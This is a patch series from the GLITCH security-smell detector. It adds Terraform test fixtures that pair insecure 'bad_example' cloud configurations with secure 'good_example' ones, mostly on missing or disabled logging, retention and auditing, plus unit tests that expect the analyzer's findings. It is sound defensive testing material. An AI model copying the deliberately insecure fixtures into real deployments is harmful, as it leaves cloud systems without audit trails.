tracing_config { + mode = "PassThrough" + } +} + +resource "aws_lambda_function" "good_example" { + tracing_config { + mode = "Active" + } +} \ No newline at end of file diff --git a/glitch/tests/security/terraform/files/logging/aws-mq-enable-audit-logging.tf b/glitch/tests/security/terraform/files/logging/aws-mq-enable-audit-logging.tf new file mode 100644 index 00000000..ab8bf799 --- /dev/null +++ b/glitch/tests/security/terraform/files/logging/aws-mq-enable-audit-logging.tf @@ -0,0 +1,19 @@ +resource "aws_mq_broker" "bad_example" { + logs { + general = true + } +} + +resource "aws_mq_broker" "bad_example2" { + logs { + general = true + audit = false + } +} + +resource "aws_mq_broker" "good_example" { + logs { + general = true + audit = true + } +} diff --git a/glitch/tests/security/terraform/files/logging/aws-mq-enable-general-logging.tf b/glitch/tests/security/terraform/files/logging/aws-mq-enable-general-logging.tf new file mode 100644 index 00000000..5b5a82f5 --- /dev/null +++ b/glitch/tests/security/terraform/files/logging/aws-mq-enable-general-logging.tf @@ -0,0 +1,19 @@ +resource "aws_mq_broker" "bad_example" { + logs { + audit = true + } +} + +resource "aws_mq_broker" "bad_example2" { + logs { + audit = true + general = false + } +} + +resource "aws_mq_broker" "good_example" { + logs { + audit = true + general = true + } +} diff --git a/glitch/tests/security/terraform/files/logging/aws-msk-enable-logging.tf b/glitch/tests/security/terraform/files/logging/aws-msk-enable-logging.tf new file mode 100644 index 00000000..85618a1e --- /dev/null +++ b/glitch/tests/security/terraform/files/logging/aws-msk-enable-logging.tf @@ -0,0 +1,88 @@ +resource "aws_msk_cluster" "bad_example" { + encryption_info { + encryption_in_transit { + client_broker = "TLS" + in_cluster = true + } + } +} + +resource "aws_msk_cluster" "bad_example2" { + logging_info { + broker_logs { + firehose { + enabled = false + } + } + } + + encryption_info { + encryption_in_transit { + client_broker = "TLS" + in_cluster = true + } + } +} + +resource "aws_msk_cluster" "good_example" { + logging_info { + broker_logs { + firehose { + enabled = true + } + } + } + + encryption_info { + encryption_in_transit { + client_broker = "TLS" + in_cluster = true + } + } +} + +resource "aws_msk_cluster" "bad_example3" { + logging_info { + broker_logs { + firehose { + enabled = false + } + s3 { + enabled = false + } + cloudwatch_logs { + enabled = false + } + } + } + + encryption_info { + encryption_in_transit { + client_broker = "TLS" + in_cluster = true + } + } +} + +resource "aws_msk_cluster" "good_example2" { + logging_info { + broker_logs { + firehose { + enabled = false + } + s3 { + enabled = true + } + cloudwatch_logs { + enabled = true + } + } + } + + encryption_info { + encryption_in_transit { + client_broker = "TLS" + in_cluster = true + } + } +} diff --git a/glitch/tests/security/terraform/files/logging/aws-neptune-enable-log-export.tf b/glitch/tests/security/terraform/files/logging/aws-neptune-enable-log-export.tf new file mode 100644 index 00000000..6f5c700e --- /dev/null +++ b/glitch/tests/security/terraform/files/logging/aws-neptune-enable-log-export.tf @@ -0,0 +1,18 @@ +resource "aws_neptune_cluster" "bad_example" { + storage_encrypted = true + kms_key_arn = aws_kms_key.example.arn +} + +resource "aws_neptune_cluster" "bad_example2" { + enable_cloudwatch_logs_exports = ["something"] + + storage_encrypted = true + kms_key_arn = aws_kms_key.example.arn +} + +resource "aws_neptune_cluster" "good_example" { + enable_cloudwatch_logs_exports = ["something", "audit"] + + storage_encrypted = true + kms_key_arn = aws_kms_key.example.arn +} diff --git a/glitch/tests/security/terraform/files/logging/aws-rds-enable-performance-insights.tf b/glitch/tests/security/terraform/files/logging/aws-rds-enable-performance-insights.tf new file mode 100644 index 00000000..0fff24f6 --- /dev/null +++ b/glitch/tests/security/terraform/files/logging/aws-rds-enable-performance-insights.tf @@ -0,0 +1,18 @@ +resource "aws_rds_cluster_instance" "bad_example" { + storage_encrypted = true + performance_insights_kms_key_id = "arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab" +} + +resource "aws_rds_cluster_instance" "bad_example2" { + performance_insights_enabled = false + + storage_encrypted = true + performance_insights_kms_key_id = "arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab" +} + +resource "aws_rds_cluster_instance" "good_example" { + performance_insights_enabled = true + + storage_encrypted = true + performance_insights_kms_key_id = "arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab" +} diff --git a/glitch/tests/security/terraform/files/logging/aws-s3-enable-bucket-logging.tf b/glitch/tests/security/terraform/files/logging/aws-s3-enable-bucket-logging.tf new file mode 100644 index 00000000..793b3a5d --- /dev/null +++ b/glitch/tests/security/terraform/files/logging/aws-s3-enable-bucket-logging.tf @@ -0,0 +1,54 @@ +resource "aws_s3_bucket" "example" { + versioning { + enabled = true + } +} + +resource "aws_s3_bucket" "example" { + dynamic "logging" { + } + versioning { + enabled = true + } +} + +resource "aws_s3_bucket" "example" { + logging { + } + versioning { + enabled = true + } +} + +resource "aws_s3_bucket" "example" { + logging { + } + versioning { + enabled = true + } +} + +resource "aws_s3_bucket_server_side_encryption_configuration" "example" { + bucket = aws_s3_bucket.example.id + rule { + apply_server_side_encryption_by_default { + kms_master_key_id = "something" + sse_algorithm = "aes256" + } + } +} + +resource "aws_s3_bucket_replication_configuration" "example" { + bucket = aws_s3_bucket.example.id + rule { + status = "Enabled" + } +} + +resource "aws_s3_bucket_public_access_block" "example" { + bucket = aws_s3_bucket.example.id + block_public_acls = true + ignore_public_acls = true + block_public_policy = true + restrict_public_buckets = true +} diff --git a/glitch/tests/security/terraform/files/logging/azure-container-aks-logging-configured.tf b/glitch/tests/security/terraform/files/logging/azure-container-aks-logging-configured.tf new file mode 100644 index 00000000..0fe7cc70 --- /dev/null +++ b/glitch/tests/security/terraform/files/logging/azure-container-aks-logging-configured.tf @@ -0,0 +1,38 @@ +resource "azurerm_kubernetes_cluster" "bad_example" { + network_profile { + network_policy = "azure" + } + api_server_access_profile { + authorized_ip_ranges = ["198.51.100.0/24"] + } +} + +resource "azurerm_kubernetes_cluster" "bad_example2" { + addon_profile { + oms_agent { + log_analytics_workspace_id = "" + } + } + + network_profile { + network_policy = "azure" + } + api_server_access_profile { + authorized_ip_ranges = ["198.51.100.0/24"] + } +} + +resource "azurerm_kubernetes_cluster" "good_example" { + addon_profile { + oms_agent { + log_analytics_workspace_id = "workspaceResourceId" + } + } + + network_profile { + network_policy = "azure" + } + api_server_access_profile { + authorized_ip_ranges = ["198.51.100.0/24"] + } +} diff --git a/glitch/tests/security/terraform/files/logging/azure-monitor-activity-log-retention-set.tf b/glitch/tests/security/terraform/files/logging/azure-monitor-activity-log-retention-set.tf new file mode 100644 index 00000000..c0baff50 --- /dev/null +++ b/glitch/tests/security/terraform/files/logging/azure-monitor-activity-log-retention-set.tf @@ -0,0 +1,21 @@ +resource "azurerm_monitor_log_profile" "bad_example" { + categories = ["Action", "Delete", "Write"] +} + +resource "azurerm_monitor_log_profile" "bad_example2" { + retention_policy { + enabled = true + days = 7 + } + + categories = ["Action", "Delete", "Write"] +} + +resource "azurerm_monitor_log_profile" "good_example" { + retention_policy { + enabled = true + days = 365 + } + + categories = ["Action", "Delete", "Write"] +} diff --git a/glitch/tests/security/terraform/files/logging/azure-monitor-capture-all-activities.tf b/glitch/tests/security/terraform/files/logging/azure-monitor-capture-all-activities.tf new file mode 100644 index 00000000..d020cc90 --- /dev/null +++ b/glitch/tests/security/terraform/files/logging/azure-monitor-capture-all-activities.tf @@ -0,0 +1,26 @@ +resource "azurerm_monitor_log_profile" "bad_example" { + retention_policy { + days = 365 + } +} + +resource "azurerm_monitor_log_profile" "bad_example2" { + categories = ["Action", "Delete", "something"] + retention_policy { + days = 365 + } +} + +resource "azurerm_monitor_log_profile" "good_example" { + categories = ["Action", "Delete", "Write"] + retention_policy { + days = 365 + } +} + +resource "azurerm_monitor_log_profile" "good_example2" { + categories = ["Action", "Delete", "Write", "something"] + retention_policy { + days = 365 + } +} diff --git a/glitch/tests/security/terraform/files/logging/azure-mssql-database-enable-audit.tf b/glitch/tests/security/terraform/files/logging/azure-mssql-database-enable-audit.tf new file mode 100644 index 00000000..0a29473a --- /dev/null +++ b/glitch/tests/security/terraform/files/logging/azure-mssql-database-enable-audit.tf @@ -0,0 +1,13 @@ +resource "azurerm_mssql_database" "bad_example" { +} + +resource "azurerm_mssql_database" "good_example" { +} + +resource "azurerm_mssql_database_extended_auditing_policy" "example" { + database_id = azurerm_mssql_database.good_example.id + storage_endpoint = azurerm_storage_account.example.primary_blob_endpoint + storage_account_access_key = azurerm_storage_account.example.primary_access_key + storage_account_access_key_is_secondary = false + retention_in_days = 90 +} diff --git a/glitch/tests/security/terraform/files/logging/azure-mssql-server-and-database-retention-period-set.tf b/glitch/tests/security/terraform/files/logging/azure-mssql-server-and-database-retention-period-set.tf new file mode 100644 index 00000000..ef58ace5 --- /dev/null +++ b/glitch/tests/security/terraform/files/logging/azure-mssql-server-and-database-retention-period-set.tf @@ -0,0 +1,24 @@ +resource "azurerm_mssql_database_extended_auditing_policy" "bad_example" { + database_id = azurerm_mssql_database.example.id + retention_in_days = 6 +} + +resource "azurerm_mssql_database_extended_auditing_policy" "good_example" { + database_id = azurerm_mssql_database.example.id + retention_in_days = 90 +} + +resource "azurerm_mssql_server_extended_auditing_policy" "bad_example" { + server_id = azurerm_mssql_server.example.id + retention_in_days = 5 +} + +resource "azurerm_mssql_server_extended_auditing_policy" "bad_example" { + server_id = azurerm_mssql_server.example.id + retention_in_days = "something" +} + +resource "azurerm_mssql_server_extended_auditing_policy" "good_example" { + server_id = azurerm_mssql_server.example.id + retention_in_days = 90 +} diff --git a/glitch/tests/security/terraform/files/logging/azure-mssql-server-enable-audit.tf b/glitch/tests/security/terraform/files/logging/azure-mssql-server-enable-audit.tf new file mode 100644 index 00000000..0a7164a3 --- /dev/null +++ b/glitch/tests/security/terraform/files/logging/azure-mssql-server-enable-audit.tf @@ -0,0 +1,16 @@ +resource "azurerm_mssql_server" "bad_example" { + public_network_access_enabled = false +} + +resource "azurerm_mssql_server" "good_example" { + public_network_access_enabled = false +} + +resource "azurerm_mssql_server_extended_auditing_policy" "example" { + server_id = azurerm_mssql_server.good_example.id + storage_endpoint = azurerm_storage_account.example.primary_blob_endpoint + storage_account_access_key = azurerm_storage_account.example.primary_access_key + storage_account_access_key_is_secondary = false + retention_in_days = 90 +} + diff --git a/glitch/tests/security/terraform/files/logging/azure-network-retention-policy-set.tf b/glitch/tests/security/terraform/files/logging/azure-network-retention-policy-set.tf new file mode 100644 index 00000000..fb97ad6f --- /dev/null +++ b/glitch/tests/security/terraform/files/logging/azure-network-retention-policy-set.tf @@ -0,0 +1,16 @@ +resource "azurerm_network_watcher_flow_log" "bad_example" { +} + +resource "azurerm_network_watcher_flow_log" "bad_example2" { + retention_policy { + enabled = true + days = 6 + } +} + +resource "azurerm_network_watcher_flow_log" "good_example" { + retention_policy { + enabled = true + days = 90 + } +} diff --git a/glitch/tests/security/terraform/files/logging/azure-postgres-configuration-enabled-logs.tf b/glitch/tests/security/terraform/files/logging/azure-postgres-configuration-enabled-logs.tf new file mode 100644 index 00000000..fca4d754 --- /dev/null +++ b/glitch/tests/security/terraform/files/logging/azure-postgres-configuration-enabled-logs.tf @@ -0,0 +1,27 @@ +resource "azurerm_postgresql_configuration" "bad_example" { + name = "log_connections" + server_name = azurerm_postgresql_server.example.name + resource_group_name = azurerm_resource_group.example.name + value = "off" +} + +resource "azurerm_postgresql_configuration" "bad_example2" { + name = "connection_throttling" + server_name = azurerm_postgresql_server.example1.name + resource_group_name = azurerm_resource_group.example.name + value = "off" +} + +resource "azurerm_postgresql_configuration" "bad_example3" { + name = "log_checkpoints" + server_name = azurerm_postgresql_server.example2.name + resource_group_name = azurerm_resource_group.example.name + value = "off" +} + +resource "azurerm_postgresql_configuration" "good_example" { + name = "log_checkpoints" + server_name = azurerm_postgresql_server.example3.name + resource_group_name = azurerm_resource_group.example.name + value = "on" +} diff --git a/glitch/tests/security/terraform/files/logging/azure-storage-queue-services-logging-enabled.tf b/glitch/tests/security/terraform/files/logging/azure-storage-queue-services-logging-enabled.tf new file mode 100644 index 00000000..c52ccaa1 --- /dev/null +++ b/glitch/tests/security/terraform/files/logging/azure-storage-queue-services-logging-enabled.tf @@ -0,0 +1,47 @@ +resource "azurerm_storage_account" "bad_example" { + network_rules { + default_action = "deny" + } +} + +resource "azurerm_storage_account_customer_managed_key" "bad_example" { + storage_account_id = azurerm_storage_account.bad_example.id +} + + +resource "azurerm_storage_account" "bad_example2" { + queue_properties { + logging { + delete = false + read = false + write = false + } + } + + network_rules { + default_action = "deny" + } +} + +resource "azurerm_storage_account_customer_managed_key" "bad_example2" { + storage_account_id = azurerm_storage_account.bad_example2.id +} + +resource "azurerm_storage_account" "good_example" { + queue_properties { + logging { + delete = true + read = true + write = true + } + } + + network_rules { + default_action = "deny" + } +} + +resource "azurerm_storage_account_customer_managed_key" "good_example" { + storage_account_id = azurerm_storage_account.good_example.id +} + diff --git a/glitch/tests/security/terraform/files/logging/ensure-cloudwatch-log-group-specifies-retention-days.tf b/glitch/tests/security/terraform/files/logging/ensure-cloudwatch-log-group-specifies-retention-days.tf new file mode 100644 index 00000000..b7193d65 --- /dev/null +++ b/glitch/tests/security/terraform/files/logging/ensure-cloudwatch-log-group-specifies-retention-days.tf @@ -0,0 +1,13 @@ +resource "aws_cloudwatch_log_group" "bad_example" { + kms_key_id = "something" +} + +resource "aws_cloudwatch_log_group" "bad_example" { + retention_in_days = 91 + kms_key_id = "something" +} + +resource "aws_cloudwatch_log_group" "good_example" { + retention_in_days = 90 + kms_key_id = "something" +} \ No newline at end of file diff --git a/glitch/tests/security/terraform/files/logging/google-compute-enable-vpc-flow-logs.tf b/glitch/tests/security/terraform/files/logging/google-compute-enable-vpc-flow-logs.tf new file mode 100644 index 00000000..a6ada838 --- /dev/null +++ b/glitch/tests/security/terraform/files/logging/google-compute-enable-vpc-flow-logs.tf @@ -0,0 +1,10 @@ +resource "google_compute_subnetwork" "bad_example" { +} + +resource "google_compute_subnetwork" "good_example" { + log_config { + aggregation_interval = "INTERVAL_10_MIN" + flow_sampling = 0.5 + metadata = "INCLUDE_ALL_METADATA" + } +} diff --git a/glitch/tests/security/terraform/files/logging/google-gke-enable-stackdriver-logging.tf b/glitch/tests/security/terraform/files/logging/google-gke-enable-stackdriver-logging.tf new file mode 100644 index 00000000..465eb140 --- /dev/null +++ b/glitch/tests/security/terraform/files/logging/google-gke-enable-stackdriver-logging.tf @@ -0,0 +1,51 @@ +resource "google_container_cluster" "bad_example" { + logging_service = "logging.googleapis.com" + + private_cluster_config { + enable_private_nodes = true + } + master_authorized_networks_config { + cidr_blocks { + cidr_block = "1.1.1.1" + } + } + ip_allocation_policy {} + network_policy { + enabled = true + } + enable_legacy_abac = false +} + +resource "google_container_cluster" "good_example" { + private_cluster_config { + enable_private_nodes = true + } + master_authorized_networks_config { + cidr_blocks { + cidr_block = "1.1.1.1" + } + } + ip_allocation_policy {} + network_policy { + enabled = true + } + enable_legacy_abac = false +} + +resource "google_container_cluster" "good_example2" { + logging_service = "logging.googleapis.com/kubernetes" + + private_cluster_config { + enable_private_nodes = true + } + master_authorized_networks_config { + cidr_blocks { + cidr_block = "1.1.1.1" + } + } + ip_allocation_policy {} + network_policy { + enabled = true + } + enable_legacy_abac = false +} diff --git a/glitch/tests/security/terraform/files/logging/google-gke-enable-stackdriver-monitoring.tf b/glitch/tests/security/terraform/files/logging/google-gke-enable-stackdriver-monitoring.tf new file mode 100644 index 00000000..0893eafc --- /dev/null +++ b/glitch/tests/security/terraform/files/logging/google-gke-enable-stackdriver-monitoring.tf @@ -0,0 +1,51 @@ +resource "google_container_cluster" "bad_example" { + monitoring_service = "monitoring.googleapis.com" + + private_cluster_config { + enable_private_nodes = true + } + master_authorized_networks_config { + cidr_blocks { + cidr_block = "1.1.1.1" + } + } + ip_allocation_policy {} + network_policy { + enabled = true + } + enable_legacy_abac = false +} + +resource "google_container_cluster" "good_example" { + private_cluster_config { + enable_private_nodes = true + } + master_authorized_networks_config { + cidr_blocks { + cidr_block = "1.1.1.1" + } + } + ip_allocation_policy {} + network_policy { + enabled = true + } + enable_legacy_abac = false +} + +resource "google_container_cluster" "good_example2" { + monitoring_service = "monitoring.googleapis.com/kubernetes" + + private_cluster_config { + enable_private_nodes = true + } + master_authorized_networks_config { + cidr_blocks { + cidr_block = "1.1.1.1" + } + } + ip_allocation_policy {} + network_policy { + enabled = true + } + enable_legacy_abac = false +} diff --git a/glitch/tests/security/terraform/files/logging/google-sql-database-log-flags.tf b/glitch/tests/security/terraform/files/logging/google-sql-database-log-flags.tf new file mode 100644 index 00000000..b3eabeb0 --- /dev/null +++ b/glitch/tests/security/terraform/files/logging/google-sql-database-log-flags.tf @@ -0,0 +1,109 @@ +resource "google_sql_database_instance" "bad_example" { + settings{ + ip_configuration { + require_ssl = true + } + } + settings { + database_flags { + name = "cross db ownership chaining" + value = "off" + } + database_flags { + name = "contained database authentication" + value = "off" + } + } +} + +resource "google_sql_database_instance" "bad_example2" { + settings{ + ip_configuration { + require_ssl = true + } + } + settings { + database_flags { + name = "cross db ownership chaining" + value = "off" + } + database_flags { + name = "contained database authentication" + value = "off" + } + database_flags { + name = "log_checkpoints" + value = "off" + } + database_flags { + name = "log_connections" + value = "off" + } + database_flags { + name = "log_disconnections" + value = "off" + } + database_flags { + name = "log_lock_waits" + value = "off" + } + database_flags { + name = "log_temp_files" + value = "-1" + } + database_flags { + name = "log_min_messages" + value = "PANIC" + } + database_flags { + name = "log_min_duration_statement" + value = "10" + } + } +} + +resource "google_sql_database_instance" "good_example" { + settings{ + ip_configuration { + require_ssl = true + } + } + settings { + database_flags { + name = "cross db ownership chaining" + value = "off" + } + database_flags { + name = "contained database authentication" + value = "off" + } + database_flags { + name = "log_checkpoints" + value = "on" + } + database_flags { + name = "log_connections" + value = "on" + } + database_flags { + name = "log_disconnections" + value = "on" + } + database_flags { + name = "log_lock_waits" + value = "on" + } + database_flags { + name = "log_temp_files" + value = "0" + } + database_flags { + name = "log_min_messages" + value = "WARNING" + } + database_flags { + name = "log_min_duration_statement" + value = "-1" + } + } +} diff --git a/glitch/tests/security/terraform/files/logging/storage-logging-enabled-for-blob-service-for-read-requests.tf b/glitch/tests/security/terraform/files/logging/storage-logging-enabled-for-blob-service-for-read-requests.tf new file mode 100644 index 00000000..ab4903e0 --- /dev/null +++ b/glitch/tests/security/terraform/files/logging/storage-logging-enabled-for-blob-service-for-read-requests.tf @@ -0,0 +1,114 @@ +resource "azurerm_storage_container" "bad_example" { + storage_account_name = azurerm_storage_account.bad_example.name + container_access_type = "private" +} + +# ----------------------------------------------------------------------------- + +resource "azurerm_storage_account" "bad_example2" { + queue_properties { + logging { + delete = true + read = true + write = true + } + } + network_rules { + default_action = "deny" + } +} + +resource "azurerm_storage_account_customer_managed_key" "bad_example2" { + storage_account_id = azurerm_storage_account.bad_example2.id +} + +resource "azurerm_storage_container" "bad_example2" { + storage_account_name = azurerm_storage_account.bad_example2.name + container_access_type = "private" +} + +# ----------------------------------------------------------------------------- + +resource "azurerm_storage_account" "bad_example3" { + queue_properties { + logging { + delete = true + read = true + write = true + } + } + network_rules { + default_action = "deny" + } +} + +resource "azurerm_storage_account_customer_managed_key" "bad_example3" { + storage_account_id = azurerm_storage_account.bad_example3.id +} + +resource "azurerm_log_analytics_storage_insights" "bad_example3" { + storage_account_id = azurerm_storage_account.bad_example3.id +} + +resource "azurerm_storage_container" "bad_example3" { + storage_account_name = azurerm_storage_account.bad_example3.name + container_access_type = "private" +} + +# ----------------------------------------------------------------------------- + +resource "azurerm_storage_account" "bad_example4" { + queue_properties { + logging { + delete = true + read = true + write = true + } + } + network_rules { + default_action = "deny" + } +} + +resource "azurerm_storage_account_customer_managed_key" "bad_example4" { + storage_account_id = azurerm_storage_account.bad_example4.id +} + +resource "azurerm_log_analytics_storage_insights" "bad_example4" { + storage_account_id = azurerm_storage_account.bad_example4.id + blob_container_names = [""] +} + +resource "azurerm_storage_container" "bad_example4" { + storage_account_name = azurerm_storage_account.bad_example4.name + container_access_type = "private" +} + +# ----------------------------------------------------------------------------- + +resource "azurerm_storage_account" "good_example" { + queue_properties { + logging { + delete = true + read = true + write = true + } + } + network_rules { + default_action = "deny" + } +} + +resource "azurerm_storage_account_customer_managed_key" "good_example" { + storage_account_id = azurerm_storage_account.good_example.id +} + +resource "azurerm_log_analytics_storage_insights" "good_example" { + storage_account_id = azurerm_storage_account.good_example.id + blob_container_names = ["something"] +} + +resource "azurerm_storage_container" "good_example" { + storage_account_name = azurerm_storage_account.good_example.name + container_access_type = "private" +} diff --git a/glitch/tests/security/terraform/test_security.py b/glitch/tests/security/terraform/test_security.py index 19d9ad67..385a98fd 100644 --- a/glitch/tests/security/terraform/test_security.py +++ b/glitch/tests/security/terraform/test_security.py @@ -800,5 +800,129 @@ def test_terraform_permission_of_iam_policies(self): 1, ["sec_permission_iam_policies"], [7] ) + def test_terraform_logging(self): + self.__help_test( + "tests/security/terraform/files/logging/aws-api-gateway-enable-access-logging.tf", + 4, ["sec_logging", "sec_logging", "sec_logging", "sec_logging"], [1, 4, 10, 17] + ) + self.__help_test( + "tests/security/terraform/files/logging/aws-api-gateway-enable-tracing.tf", + 2, ["sec_logging", "sec_logging"], [1, 9] + ) + self.__help_test( + "tests/security/terraform/files/logging/aws-cloudfront-enable-logging.tf", + 2, ["sec_logging", "sec_logging"], [1, 13] + ) + self.__help_test( + "tests/security/terraform/files/logging/aws-cloudtrail-enable-log-validation.tf", + 2, ["sec_logging", "sec_logging"], [1, 7] + ) + self.__help_test( + "tests/security/terraform/files/logging/aws-cloudtrail-ensure-cloudwatch-integration.tf", + 2, ["sec_logging", "sec_logging"], [1, 7] + ) + self.__help_test( + "tests/security/terraform/files/logging/aws-documentdb-enable-log-export.tf", + 2, ["sec_logging", "sec_logging"], [1, 7] + ) + self.__help_test( + "tests/security/terraform/files/logging/aws-eks-enable-control-plane-logging.tf", + 2, ["sec_logging", "sec_logging"], [1, 15] + ) + self.__help_test( + "tests/security/terraform/files/logging/aws-elastic-search-enable-domain-logging.tf", + 3, ["sec_logging", "sec_logging", "sec_logging"], [1, 17, 36] + ) + self.__help_test( + "tests/security/terraform/files/logging/aws-lambda-enable-tracing.tf", + 2, ["sec_logging", "sec_logging"], [1, 6] + ) + self.__help_test( + "tests/security/terraform/files/logging/aws-mq-enable-audit-logging.tf", + 2, ["sec_logging", "sec_logging"], [1, 10] + ) + self.__help_test( + "tests/security/terraform/files/logging/aws-mq-enable-general-logging.tf", + 2, ["sec_logging", "sec_logging"], [1, 10] + ) + self.__help_test( + "tests/security/terraform/files/logging/aws-msk-enable-logging.tf", + 5, ["sec_logging", "sec_logging", "sec_logging", "sec_logging", "sec_logging"], [1, 14, 48, 51, 54] + ) + self.__help_test( + "tests/security/terraform/files/logging/aws-neptune-enable-log-export.tf", + 2, ["sec_logging", "sec_logging"], [1, 7] + ) + self.__help_test( + "tests/security/terraform/files/logging/aws-rds-enable-performance-insights.tf", + 2, ["sec_logging", "sec_logging"], [1, 7] + ) + self.__help_test( + "tests/security/terraform/files/logging/aws-s3-enable-bucket-logging.tf", + 1, ["sec_logging"], [1] + ) + self.__help_test( + "tests/security/terraform/files/logging/azure-container-aks-logging-configured.tf", + 2, ["sec_logging", "sec_logging"], [1, 13] + ) + self.__help_test( + "tests/security/terraform/files/logging/azure-monitor-activity-log-retention-set.tf", + 2, ["sec_logging", "sec_logging"], [1, 8] + ) + self.__help_test( + "tests/security/terraform/files/logging/azure-monitor-capture-all-activities.tf", + 2, ["sec_logging", "sec_logging"], [1, 8] + ) + self.__help_test( + "tests/security/terraform/files/logging/azure-mssql-database-enable-audit.tf", + 1, ["sec_logging"], [1] + ) + self.__help_test( + "tests/security/terraform/files/logging/azure-mssql-server-and-database-retention-period-set.tf", + 3, ["sec_logging", "sec_logging", "sec_logging"], [3, 13, 18] + ) + self.__help_test( + "tests/security/terraform/files/logging/azure-mssql-server-enable-audit.tf", + 1, ["sec_logging"], [1] + ) + self.__help_test( + "tests/security/terraform/files/logging/azure-network-retention-policy-set.tf", + 2, ["sec_logging", "sec_logging"], [1, 7] + ) + self.__help_test( + "tests/security/terraform/files/logging/azure-postgres-configuration-enabled-logs.tf", + 3, ["sec_logging", "sec_logging", "sec_logging"], [5, 12, 19] + ) + self.__help_test( + "tests/security/terraform/files/logging/azure-storage-queue-services-logging-enabled.tf", + 6, ["sec_logging", "sec_logging", "sec_logging", "sec_logging", "sec_logging", "sec_logging"], [1, 1, 1, 15, 16, 17] + ) + self.__help_test( + "tests/security/terraform/files/logging/ensure-cloudwatch-log-group-specifies-retention-days.tf", + 2, ["sec_logging", "sec_logging"], [1, 6] + ) + self.__help_test( + "tests/security/terraform/files/logging/google-compute-enable-vpc-flow-logs.tf", + 1, ["sec_logging"], [1] + ) + self.__help_test( + "tests/security/terraform/files/logging/google-gke-enable-stackdriver-logging.tf", + 1, ["sec_logging"], [2] + ) + self.__help_test( + "tests/security/terraform/files/logging/google-gke-enable-stackdriver-monitoring.tf", + 1, ["sec_logging"], [2] + ) + self.__help_test( + "tests/security/terraform/files/logging/google-sql-database-log-flags.tf", + 12, ["sec_logging", "sec_logging", "sec_logging", "sec_logging", "sec_logging", "sec_logging" + , "sec_logging", "sec_logging", "sec_logging", "sec_logging", "sec_logging", "sec_logging"], + [1, 1, 1, 1, 1, 36, 40, 44, 48, 52, 56, 60] + ) + self.__help_test( + "tests/security/terraform/files/logging/storage-logging-enabled-for-blob-service-for-read-requests.tf", + 4, ["sec_logging", "sec_logging", "sec_logging", "sec_logging"], [1, 8, 49, 79] + ) + if __name__ == '__main__': unittest.main() \ No newline at end of file From d21cc78c4cbaf326ed3fc57e709c41a463d8ed06 Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Mon, 3 Apr 2023 15:01:58 +0100 Subject: [PATCH 34/58] Tests for Terraform: Attached Resource, Naming, Replication, and Versioning code smells. --- .../aws_route53_attached_resource.tf | 40 ++++++++++ ...-ec2-description-to-security-group-rule.tf | 31 ++++++++ .../aws-ec2-description-to-security-group.tf | 10 +++ ...sticache-description-for-security-group.tf | 13 ++++ .../naming/naming-rules-storage-accounts.tf | 76 +++++++++++++++++++ ...tack-networking-describe-security-group.tf | 10 +++ .../s3-bucket-cross-region-replication.tf | 43 +++++++++++ .../versioning/aws-s3-enable-versioning.tf | 48 ++++++++++++ .../digitalocean-spaces-versioning-enabled.tf | 19 +++++ .../tests/security/terraform/test_security.py | 44 +++++++++++ 10 files changed, 334 insertions(+) create mode 100644 glitch/tests/security/terraform/files/attached-resource/aws_route53_attached_resource.tf create mode 100644 glitch/tests/security/terraform/files/naming/aws-ec2-description-to-security-group-rule.tf create mode 100644 glitch/tests/security/terraform/files/naming/aws-ec2-description-to-security-group.tf create mode 100644 glitch/tests/security/terraform/files/naming/aws-elasticache-description-for-security-group.tf create mode 100644 glitch/tests/security/terraform/files/naming/naming-rules-storage-accounts.tf create mode 100644 glitch/tests/security/terraform/files/naming/openstack-networking-describe-security-group.tf create mode 100644 glitch/tests/security/terraform/files/replication/s3-bucket-cross-region-replication.tf create mode 100644 glitch/tests/security/terraform/files/versioning/aws-s3-enable-versioning.tf create mode 100644 glitch/tests/security/terraform/files/versioning/digitalocean-spaces-versioning-enabled.tf diff --git a/glitch/tests/security/terraform/files/attached-resource/aws_route53_attached_resource.tf b/glitch/tests/security/terraform/files/attached-resource/aws_route53_attached_resource.tf new file mode 100644 index 00000000..c48e6758 --- /dev/null +++ b/glitch/tests/security/terraform/files/attached-resource/aws_route53_attached_resource.tf @@ -0,0 +1,40 @@ +resource "aws_alb" "fixed" { + internal = true + drop_invalid_header_fields = true +} + +resource "aws_api_gateway_domain_name" "example" { + certificate_arn = aws_acm_certificate_validation.example.certificate_arn + domain_name = "api.example.com" + security_policy = "tls_1_2" +} + +resource "aws_route53_record" "fail" { + type = "A" +} + +resource "aws_route53_record" "fail2" { + type = "A" + alias { + evaluate_target_health = true + name = aws_api_gateway_domain_name.example2.cloudfront_domain_name + zone_id = aws_api_gateway_domain_name.example2.cloudfront_zone_id + } +} + +resource "aws_route53_record" "pass" { + type = "A" + records = [aws_alb.fixed.public_ip] +} + +resource "aws_route53_record" "pass2" { + name = aws_api_gateway_domain_name.example.domain_name + type = "A" + zone_id = aws_route53_zone.example.id + + alias { + evaluate_target_health = true + name = aws_api_gateway_domain_name.example.cloudfront_domain_name + zone_id = aws_api_gateway_domain_name.example.cloudfront_zone_id + } +} diff --git a/glitch/tests/security/terraform/files/naming/aws-ec2-description-to-security-group-rule.tf b/glitch/tests/security/terraform/files/naming/aws-ec2-description-to-security-group-rule.tf new file mode 100644 index 00000000..274150f3 --- /dev/null +++ b/glitch/tests/security/terraform/files/naming/aws-ec2-description-to-security-group-rule.tf @@ -0,0 +1,31 @@ +resource "aws_security_group" "bad_example" { + description = "description" + ingress { + from_port = 80 + to_port = 80 + protocol = "tcp" + cidr_blocks = [aws_vpc.main.cidr_block] + } +} + +resource "aws_security_group" "bad_example2" { + description = "description" + ingress { + description = "" + from_port = 80 + to_port = 80 + cidr_blocks = [aws_vpc.main.cidr_block] + protocol = "tcp" + } +} + +resource "aws_security_group" "good_example" { + description = "description" + ingress { + description = "HTTP from VPC" + to_port = 80 + from_port = 80 + protocol = "tcp" + cidr_blocks = [aws_vpc.main.cidr_block] + } +} diff --git a/glitch/tests/security/terraform/files/naming/aws-ec2-description-to-security-group.tf b/glitch/tests/security/terraform/files/naming/aws-ec2-description-to-security-group.tf new file mode 100644 index 00000000..3d157fc2 --- /dev/null +++ b/glitch/tests/security/terraform/files/naming/aws-ec2-description-to-security-group.tf @@ -0,0 +1,10 @@ +resource "aws_security_group" "bad_example" { +} + +resource "aws_security_group" "bad_example2" { + description = "" +} + +resource 